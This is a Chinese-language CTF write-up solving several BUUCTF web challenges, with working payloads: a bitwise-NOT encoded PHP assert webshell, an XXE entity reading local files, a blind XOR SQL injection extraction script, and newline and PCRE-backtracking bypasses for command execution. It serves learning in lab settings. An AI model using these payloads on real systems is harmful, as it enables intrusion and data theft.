[BSidesCF 2019]Kookie
登陆环境有一个cookie的提示,用burp抓包,改下数据包
发送过去就有flag了
[极客大挑战 2019]RCE ME
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); }
// ?>
|
rce,但是这里正则过滤大小写字母和数字。最开始我以为直接用无字符rce的脚本生成payload并且注意下长度就行,但是看了WP考点不是这个,就复现下
因为过滤了大小写字母和数字,可以用url编码+取反绕过或是异或。异或就是我们将php代码进行url编码后取反,传入参数后服务端会对url进行解码,这时因为取反后,会url解码成不可打印字符,所以达成绕过的效果
1 2
| <?php echo urlencode(~'phpinfo');
|
查看phpinfo();,搜索flag并没有,但是能看到禁用函数倒是有挺多,尝试构建一句话木马
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); $a='assert'; $b=urlencode(~$a); echo $b; echo "<br>"; $c='(eval($_POST["test"]))'; $d=urlencode(~$c); echo $d; ?>
|
这里一句话是仿照网上的,由于eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用
所以我们需要用assert来构造,获得shell后,尝试用蚁剑连,但是连上去完全没有执行权限,等于是一个无用的shell
因为这里主要是php本地设置了disable_functions,所以我们可以尝试用蚁剑插件来绕过这个
开始运行,在根目录运行./readflag就是flag(简易解法,稍微难点的要用恶意so文件,后续再补——)
[MRCTF2020]套娃
进入环境打开F12,有一些提示
1 2 3 4 5 6 7
| $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
|
substr_count是对特定变量其内部查找指定字符的个数,这里要求$query里下划线和下划线的url编码不能出现,否则就die,然后需要传一个b_u_p_t,并对其进行正则匹配,如果其是以23333以及以23333结尾的话,就可以进入下一步
然后这里出现了一个$_SERVER[‘QUERY_STRING’],其含义是获取的是?后面的值,因为我们传的参数里不能存在_和%5f,可以用空格进行替代,另外在正则匹配中回车字符代表一次匹配结束,所以这里还需要加一个%0A
构建第一个payload:
进入第二层,有一个php需要我们进入,进去有一堆jsfuck,解码后让我们任意post一个Merak,这里值任意
进入第三层,进行代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php';
if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); }
function change($v){ //可以通过反写将flag.php传入 $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp();//可以修改报文来绕过 if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去 echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
|
ip限制这里,因为常见的是XFF和Client-ip这俩,但这里并不清楚使用哪个,所以先都用,也不影响。
1
| file_get_contents($_GET['2333']) === 'todat is a happy day
|
这里要求我们用file_get_contents读取到的内容与它完全一致,根据之前伪协议的总结,直接使用data://协议传就行
data://text/plain,todat is a happy day
然后最后一点就是还要传一个$file,file会经过change这个函数进行简单加密
1 2 3 4 5 6 7 8
| function change($v){ //可以通过反写将flag.php传入 $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; }
|
逻辑挺简单的,先进行一个base64解码,然后对字符串的每一位先转成ascii然后根据所在位+i*2,再转回字符。由此重复两次,由于逻辑简单,完全可以去在线编译一个个解码出来,最后出来的是fj]a&f\b,并进行base64编码
反写脚本:
1 2 3 4 5 6 7 8 9 10
| <?php $re = 'flag.php'; $string=''; for($i=0;$i<strlen($re);$i++){ $string .= chr(ord($re[$i]) - $i*2);
} $string = base64_encode($string); var_dump($string); //string(12) "ZmpdYSZmXGI="
|
这样传就行了
[WUSTCTF2020]颜值成绩查询
简单的sql注入题,报错和布尔都没回显,不过异或倒是可以
1^1^1,诸如此类
写一个自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests import time
def start_ascii(): database_name = "" #table_name = "" #column_name = "" url = "http://0212c1b4-ce72-4f59-80f1-69a50cd1278b.node4.buuoj.cn:81/?stunum=1" for i in range(1,300): low = 32 high = 128 mid = (low + high)//2 while(low < high): #payload = "^(ascii(substr((select(database())),%d,1))>%d)^1#"%(i,mid) #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d)^1#" % (i, mid) #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d)^1" % (i, mid) payload = "^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" % (i, mid) res = requests.get(url + payload) if 'exists' in res.text: high = mid else: low = mid + 1 mid = (low + high)//2 # 跳出循环 if mid == 32 or mid == 127: break database_name = database_name + chr(mid) #table_name = table_name + chr(mid) #column_name = column_name + chr(mid) print(database_name) time.sleep(1)
if __name__ == "__main__": start_ascii()
|
[NCTF2019]True XML cookbook
(奇奇怪怪的按照WP来,内网里没有存活的ip)
打开是个登录框,根据题目XML考虑是XXE注入,直接上之前的一道题的payload
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user><username>&admin;</username><password>123456</password></user>
|
能读到用户文件,但直接读file:///flag是会报错的,怀疑没有这个文件,直接读源码也没啥有用的信息。
按照WP来说,要去看内网也就是file:///etc/host和file:///proc/net/arp这两个文件,会在这两个文件里存在一个存活的ip,运气好直接去读就行,运气好还需要burp跑一下C段爆破下,但我这里一个ip都没有奇奇怪怪
一些其他关于内网的文件
1 2 3 4
| /proc/net/tcp /proc/net/udp /proc/net/dev /proc/net/fib_trie
|
从XML相关一步一步到XXE漏洞
一篇文章带你深入理解XXE漏洞
[FBCTF2019]RCEService
这道题也是怪怪的,虽然是说知道以json的格式去传命令来rce,但是看WP,大家都对源码的由来模模糊糊?奇奇怪怪
打开环境就是一个输入框,提示按照json格式来
但把命令换成cd或者pwd等其他就直接被检测,到这里就没辙了,只能去看WP里的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd'];
if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } }
?>
|
过滤的确实太多了,看着都头疼
不过有一个重点,这里是采取正则过滤的,可以从正则入手
源码中,正则规则设置的是匹配整个字符串,也就是从开头和结尾进行检查,然后并没有/m也就是没有多行匹配,所以我们可以用%0a也就是换行绕过,所以在匹配时不会匹配%0a,但是%0a又存在所以会绕过
这里又有一个点
1
| putenv('PATH=/home/rceservice/jail');
|
题目改变了环境变量,所以我们只能用绝对路径来使用命令,而不是相对路径(作用就是避免调用系统命令)
尝试构造payload
1
| ?cmd={%0a"cmd":"/bin/cat%20/home/recservice/flag%0a}
|
但是有点奇怪啊 直接在输入框里输入不太行,只能在hackbar里输入,怪起来了
但是后面看了下这并不是预期解,只是因为正则没写好而已
预期解反而是从P神的博客中得来(膜下P神),主要考点是回溯,没听说过,学习下
参考文章:PHP利用PCRE回溯次数限制绕过某些安全限制
(第一次在ctf中见到了编译原理的知识,长见识)
看完就知道什么意思了,仿照p神给出的脚本,根据题目要求改下
1 2 3 4 5 6
| import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}' res = requests.post("http://e368dc5e-4417-4353-b2de-be8f1b4dd4fe.node4.buuoj.cn:81/", data={"cmd":payload}) #print(payload) print(res.text)
|
总之就是正则回溯一般是有次数限制的,超过限制不会返回1或者0而是false,可以通过发送超长字符串,让正则执行失败,防止回溯来bypass就一定要用===来过判断